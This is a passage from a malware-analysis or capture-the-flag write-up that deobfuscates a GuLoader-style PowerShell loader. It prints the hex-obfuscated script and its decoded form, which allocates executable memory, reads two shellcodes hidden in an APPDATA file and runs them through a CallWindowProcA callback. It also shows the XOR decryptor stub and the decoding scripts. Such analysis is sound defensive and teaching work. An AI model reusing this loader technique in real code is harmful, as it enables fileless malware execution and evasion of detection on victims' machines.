  $Virkers4=Mutarotation04   'D3ECF7F1F0E4E9C4E9E9EAE6';
  $Virkers5=Mutarotation04   'EBF1E1E9E9';
  $Virkers6=Mutarotation04   'CBF1D5F7EAF1E0E6F1D3ECF7F1F0E4E9C8E0E8EAF7FC';
  $Virkers8=Mutarotation04   'D9';
  $Vrdiganedrifters=Mutarotation04   'D0D6C0D7B6B7';
  $Resonans=Mutarotation04   'C6E4E9E9D2ECEBE1EAF2D5F7EAE6C4';
  $Denguesudifons   =   Mutarotation04   'EEE0F7EBE0E9B6B7';
  $Mellemvrenderne   =   Mutarotation04   'F0F6E0F7B6B7';
  $Mutarotation03   =   Mutarotation04   'C2E0F1C6EAEBF6EAE9E0D2ECEBE1EAF2';
  $Mutarotation00=Mutarotation04   'D6EDEAF2D2ECEBE1EAF2';
  $Merkantilisering=   "$env:temp\Nonresolvable.exe";
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B7A5B8A5ADC2E0F1A8D2E8ECCAE7EFE0E6F1A5D2ECEBB6B7DAD5F7EAE6E0F6F6A5F9A5D2EDE0F7E0A8CAE7EFE0E6F1A5FEA5A1D5CCC1A5A8E6EAEBF1E4ECEBF6A5A1DAABD5F7EAE6E0F6F6CCC1A5F8ACABD5E4F7E0EBF1D5F7EAE6E0F6F6CCC1'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B6A5B8A5C2E0F1A8D5F7EAE6E0F6F6A5A8CCE1A5A1D6ECF1F7E0EBE1E0B7B7A5A8C3ECE9E0D3E0F7F6ECEAEBCCEBE3EAA5F9A5D6E0E9E0E6F1A5A8C0FDF5E4EBE1D5F7EAF5E0F7F1FCA5C3ECE9E0CBE4E8E0'   1;
  Mutarotation04   'D6F1EAF5A8D5F7EAE6E0F6F6A5A8CCC1A5A1D6ECF1F7E0EBE1E0B7B7A5A8C3EAF7E6E0'   1;
  Mutarotation04   'C6EAF5FCA8CCF1E0E8A5A1D6ECF1F7E0EBE1E0B7B6A5A8C1E0F6F1ECEBE4F1ECEAEBA5A1C8E0F7EEE4EBF1ECE9ECF6E0F7ECEBE2A5A8D7E0E6F0F7F6E0A5A8C3EAF7E6E0'   1;
  function   Sitrende01   ($Denguesncestry,   $Prdikatnavnet)   {Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B5BDA5B8A5ADDEC4F5F5C1EAE8E4ECEBD8BFBFC6F0F7F7E0EBF1C1EAE8E4ECEBABC2E0F1C4F6F6E0E8E7E9ECE0F6ADACA5F9A5D2EDE0F7E0A8CAE7EFE0E6F1A5FEA5A1DAABC2E9EAE7E4E9C4F6F6E0E8E7E9FCC6E4E6EDE0A5A8C4EBE1A5A1DAABC9EAE6E4F1ECEAEBABD6F5E9ECF1ADA1D3ECF7EEE0F7F6BDACDEA8B4D8ABC0F4F0E4E9F6ADA1C4E9F3EAF7E9ECE2B5ACA5F8ACABC2E0F1D1FCF5E0ADA1C4E9F3EAF7E9ECE2B4AC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B5A5B8A5A1D6ECF1F7E0EBE1E0B5BDABC2E0F1C8E0F1EDEAE1ADA1C4E9F3EAF7E9ECE2B7A9A5DED1FCF5E0DED8D8A5C5ADA1C4E9F3EAF7E9ECE2B6A9A5A1C4E9F3EAF7E9ECE2B1ACAC'   1;
  Mutarotation04   'F7E0F1F0F7EBA5A1D6ECF1F7E0EBE1E0B4B5ABCCEBF3EAEEE0ADA1EBF0E9E9A9A5C5ADDED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3D8ADCBE0F2A8CAE7EFE0E6F1A5D6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3ADADCBE0F2A8CAE7EFE0E6F1A5CCEBF1D5F1F7ACA9A5ADA1D6ECF1F7E0EBE1E0B5BDABC2E0F1C8E0F1EDEAE1ADA1C4E9F3EAF7E9ECE2B0ACACABCCEBF3EAEEE0ADA1EBF0E9E9A9A5C5ADA1C1E0EBE2F0E0F6EBE6E0F6F1F7FCACACACACA9A5A1D5F7E1ECEEE4F1EBE4F3EBE0F1ACAC'   1;
  }function   Sitrende00   ([Parameter(Position   =   0)]   [Type[]]   $Hipponous,[Parameter(Position   =   1)]   [Type]   $Denguesruspice   =   [Void])   {Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B0A5B8A5DEC4F5F5C1EAE8E4ECEBD8BFBFC6F0F7F7E0EBF1C1EAE8E4ECEBABC1E0E3ECEBE0C1FCEBE4E8ECE6C4F6F6E0E8E7E9FCADADCBE0F2A8CAE7EFE0E6F1A5D6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC4F6F6E0E8E7E9FCCBE4E8E0ADA1C4E9F3EAF7E9ECE2BDACACA9A5DED6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC0E8ECF1ABC4F6F6E0E8E7E9FCC7F0ECE9E1E0F7C4E6E6E0F6F6D8BFBFD7F0EBACABC1E0E3ECEBE0C1FCEBE4E8ECE6C8EAE1F0E9E0ADA1C4E9F3EAF7E9ECE2BCA9A5A1E3E4E9F6E0ACABC1E0E3ECEBE0D1FCF5E0ADA1D3ECF7EEE0F7F6B5A9A5A1D3ECF7EEE0F7F6B4A9A5DED6FCF6F1E0E8ABC8F0E9F1ECE6E4F6F1C1E0E9E0E2E4F1E0D8AC'   1;
  Mutarotation04   'A1D6ECF1F7E0EBE1E0B4B0ABC1E0E3ECEBE0C6EAEBF6F1F7F0E6F1EAF7ADA1C4E9F3EAF7E9ECE2B3A9A5DED6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC6E4E9E9ECEBE2C6EAEBF3E0EBF1ECEAEBF6D8BFBFD6F1E4EBE1E4F7E1A9A5A1CDECF5F5EAEBEAF0F6ACABD6E0F1CCE8F5E9E0E8E0EBF1E4F1ECEAEBC3E9E4E2F6ADA1C4E9F3EAF7E9ECE2B2AC'   1;
  Mutarotation04   'A1D6ECF1F7E0EBE1E0B4B0ABC1E0E3ECEBE0C8E0F1EDEAE1ADA1D3ECF7EEE0F7F6B7A9A5A1D3ECF7EEE0F7F6B6A9A5A1C1E0EBE2F0E0F6F7F0F6F5ECE6E0A9A5A1CDECF5F5EAEBEAF0F6ACABD6E0F1CCE8F5E9E0E8E0EBF1E4F1ECEAEBC3E9E4E2F6ADA1C4E9F3EAF7E9ECE2B2AC'   1;
  Mutarotation04   'F7E0F1F0F7EBA5A1D6ECF1F7E0EBE1E0B4B0ABC6F7E0E4F1E0D1FCF5E0ADAC'   1;
  ;
  }Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B3A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1D3ECF7EEE0F7F6B1ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B2A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C8E0E9E9E0E8F3F7E0EBE1E0F7EBE0A5A1C8F0F1E4F7EAF1E4F1ECEAEBB5B5ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4BDA5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1C8F0F1E4F7EAF1E4F1ECEAEBB5B6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4BCA5B8A5A1D6ECF1F7E0EBE1E0B4BDABCCEBF3EAEEE0ADB5AC'   1;
  Mutarotation04   'A1D6ECF1F7E0EBE1E0B4B2ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B4BCA9A5B5AC'   1;
  $Digenea   =   Sitrende01   $Virkers5   $Virkers6;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B6A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5B4B0B7B4B6A9A5B5FDB6B5B5B5A9A5B5FDB1B5AC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B5A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5BCBDBDB2B6B6B1B1A9A5B5FDB6B5B5B5A9A5B5FDB1AC'   1;
  $Sitrende2="$env:APPDATA\opslagsvrkerne\incorporative\lathis\jackass.Pri";
  Mutarotation04   'A1E2E9EAE7E4E9BFC1ECF1E6EDE0F6A5B8A5DED6FCF6F1E0E8ABCCCAABC3ECE9E0D8BFBFD7E0E4E1C4E9E9C7FCF1E0F6ADA1D6ECF1F7E0EBE1E0B7AC'   1;
  Mutarotation04   'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B6B1B6B4A9A5A5A1D6ECF1F7E0EBE1E0B6A9A5B4B0B7B4B6AC'   1;
  $Rappellvqr=$Ditches.count-15213-3431;
  Mutarotation04   'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B4B0B7B4B6AEB6B1B6B4A9A5A1D6ECF1F7E0EBE1E0B7B5A9A5A1D7E4F5F5E0E9E9F3F4F7AC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B4A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1D3F7E1ECE2E4EBE0E1F7ECE3F1E0F7F6A5A1D7E0F6EAEBE4EBF6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC'   1;
  Mutarotation04   'A1D6ECF1F7E0EBE1E0B7B4ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B6A9A1D6ECF1F7E0EBE1E0B7B5A9A1C1ECE2E0EBE0E4A9B5A9B5AC'   1   #

"""

output_lines = []
decoded_strings = []

for line in code.splitlines():
    match = re.search(regex_mutarotation, line)
    if match:
        call_part = match.group(1)  # The "Mutarotation04" part
        hex_string = match.group(2)  # The obfuscated string of interest
        deobfuscated = Mutarotation04(hex_string)
        decoded_strings.append((hex_string, deobfuscated))
        # Replacing the obfuscated string by its clear format
        updated_line = line.replace(f"{call_part}'{hex_string}'", f"{call_part}'{deobfuscated}'")
        output_lines.append(updated_line)
    else:
        output_lines.append(line)   # Keeping the original line if there is no match

print("[+] Deobfuscating stage 2:")
print("\n".join(output_lines))

Here we go, our second stage script is now human readable:

The most interesting parts are obviously at the end:

# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Sitrende16 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Function01 $kernel32 $VirtualAlloc), (Function00 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
# The GetDelegateForFunctionPointer function permits to execute unmanaged code from PowerShell, by passing the function pointer and its signature [i.e. the arguments of the function to execute and their data types]
# The below code dynamically resolves the WinExec addresses and defines a delegate to this function
MainFunction 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B3A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1D3ECF7EEE0F7F6B1ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;

../...

# ntdll.NtProtectVirtualMemory
$Digenea = Function01 $ntdll $NtProtectVirtualMemory;

# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Sitrende3 = $Sitrende16.Invoke([IntPtr]::Zero, 15213, 0x3000, 0x40)
# kernel32.VirtualAlloc
# Allocating 15'213 bytes of memory in RWX (0x40) for Sitrende3
MainFunction 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B6A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5B4B0B7B4B6A9A5B5FDB6B5B5B5A9A5B5FDB1B5AC' 1;

# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Sitrende20 = $Sitrende16.Invoke([IntPtr]::Zero, 98873344, 0x3000, 0x4)
# kernel32.VirtualAlloc
# Allocating 98'873'344 bytes of memory in RW (0x4) for Sitrende20
MainFunction 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B5A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5BCBDBDB2B6B6B1B1A9A5B5FDB6B5B5B5A9A5B5FDB1AC' 1;

# 2 shellcodes are stored in the jackass.pri file [hidden after a big slice of junk bytes]
# This shellcodes file's path is loaded into $Sitrende2
$Sitrende2="$env:APPDATA\opslagsvrkerne\incorporative\lathis\jackass.Pri";

# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Ditches = [System.IO.File]::ReadAllBytes($Sitrende2)
# The variable $Ditches now holds the 2 concatenated shellcodes [with some junks upfront]
MainFunction 'A1E2E9EAE7E4E9BFC1ECF1E6EDE0F6A5B8A5DED6FCF6F1E0E8ABCCCAABC3ECE9E0D8BFBFD7E0E4E1C4E9E9C7FCF1E0F6ADA1D6ECF1F7E0EBE1E0B7AC' 1;

# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# [System.Runtime.InteropServices.Marshal]::Copy($Ditches, 3431, $Sitrende3, 15213)
# Copy the 1st shellcode of 15'213 bytes located at offset 3'431 in $Ditches toward Sitrende3
MainFunction 'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B6B1B6B4A9A5A5A1D6ECF1F7E0EBE1E0B6A9A5B4B0B7B4B6AC' 1;

# Getting the size of buffer hosting the 2nd shellcode after removing the 3'431 dummy bytes and the 15'213 bytes from the 1st shellcode
$Rappellvqr=$Ditches.count-15213-3431;

# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# [System.Runtime.InteropServices.Marshal]::Copy($Ditches, 15213+3431, $Sitrende20, $Rappellvqr)
# Copying the 2nd shellcode from $Ditches at offset 18'644 [i.e, 15'213 bytes for 1st shellcode + 3'431 bytes of junk upfront] till the end toward Sitrende20 
MainFunction 'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B4B0B7B4B6AEB6B1B6B4A9A5A1D6ECF1F7E0EBE1E0B7B5A9A5A1D7E4F5F5E0E9E9F3F4F7AC' 1;

# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters:
# $global:Sitrende21 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Function01 $USER32 $CallWindowProcA), (Function00 @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])))
# Setting a delegated pointer to the CallWindowProcA fonction [generally used to execute the code of an exported function in a DLL]
MainFunction 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B4A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1D3F7E1ECE2E4EBE0E1F7ECE3F1E0F7F6A5A1D7E0F6EAEBE4EBF6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;

# Calling function $Sialagogic750 [i.e., "IEX"] with this in parameters::
# $Sitrende21.Invoke($Sitrende3,$Sitrende20,$Digenea,0,0)
# $Sitrende21 is the delegated pointer toward CallWindowProcA, which is ultimately called with 3 arguments:
# $Sitrende3 = 1st shellcode [usually the decryptor/loader]
# $Sitrende20 = 2nd shellcode [usually the real payload somehow encrypted] provided to the 1st one as argument
# $Digenea = "Function01 $ntdll $NtProtectVirtualMemory;" [probably called from the 1st shellcode de load the 2nd one]
MainFunction 'A1D6ECF1F7E0EBE1E0B7B4ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B6A9A1D6ECF1F7E0EBE1E0B7B5A9A1C1ECE2E0EBE0E4A9B5A9B5AC' 1

It was the first time we observed a GuLoader sample that relied onCallWindowProcAfor callback, instead of the usualEnumResourceTypes orCallWindowProcW API in the real attack. Yet another smart way to avoid detection and achieve file-less attacks by abusing API callbacks.

Step 4 – Shellcodes extraction

So, let’s extract the 2 shellcodes now that we know where there are:

As expected, the second shellcode does not have any meaningful instructions:

But the first one looks like what we could expect:

We can see an XOR at 0x00000006, and a key that is rotated at each byte at 0x00000018:

0x00000000      8b742404       mov esi, dword [esp + 4]	; Get the address of the XORed shellcode received as argument
0x00000004      89f7           mov edi, esi		; Save it to EDI for in-place decoding
0x00000006      ba8e66d0a2     mov edx, 0xa2d0668e	; Load the 4 bytes XOR key
0x0000000b      b94f000000     mov ecx, 0x4f            ; Size of the 2nd shellcode to unXOR
0x00000010      8a06           mov al, byte [esi]	; Load 1 byte of that XORed shellcode
0x00000012      30d0           xor al, dl		; XOR it with the 1st byte of the key
0x00000014      8807           mov byte [edi], al	; And save the result to the adress pointed to by EDI
0x00000016      46             inc esi			; Poiting to the next byte to unXOR
0x00000017      47             inc edi			; Same for the destination register
0x00000018      c1ca08         ror edx, 8		; Rotate the key to use the next byte for decryption
0x0000001b      49             dec ecx			; Decrement the counter
0x0000001c      75f2           jne 0x10			; Loop until all bytes have not been unXORed
0x0000001e      ffe7           jmp edi			; Then execute the 2nd shellcode once it has been decrypted

So, let’s create a small script which will unXOR the second shellcode with that key or break in 0x0000001e to dump EDI:

XOR_KEY = 0xA2D0668E

def unXOR(data, key):
    decoded = bytearray()  
    for i, b in enumerate(data):
        key_bytes = key & 0xFF        # Take the 1st byte of the key at the beginning
        decoded_byte = b ^ key_bytes  # And use it in the XOR operation
        decoded.append(decoded_byte)  # Save the unXORed byte
        key = ((key >> 8) | ((key & 0xFF) << 24))  # Then rotate the key to the right
    return bytes(decoded)

with open("extracted/shellcode2.bin", "rb") as f:
    shellcode_xored = f.read()

shellcode_decoded = unXOR(shellcode_xored, XOR_KEY)

with open("extracted/shellcode2_unXORed.bin", "wb") as f:
    f.write(shellcode_decoded)

Once XORed back, the 2nd shellcode hosts the flag:

In the real life, the first GuLoader shellcode is a little bit more sophisticated since it also relies on various Anti-VM tricks and VEH hooking to replace some 0xCC bytes [i.e. INT3] by the real instructions in the second shellcode to disturb disassemblers… But now you globally have a very realistic overview of this powerful malware. 😊

Happy reverse,

Frédéric BOURLA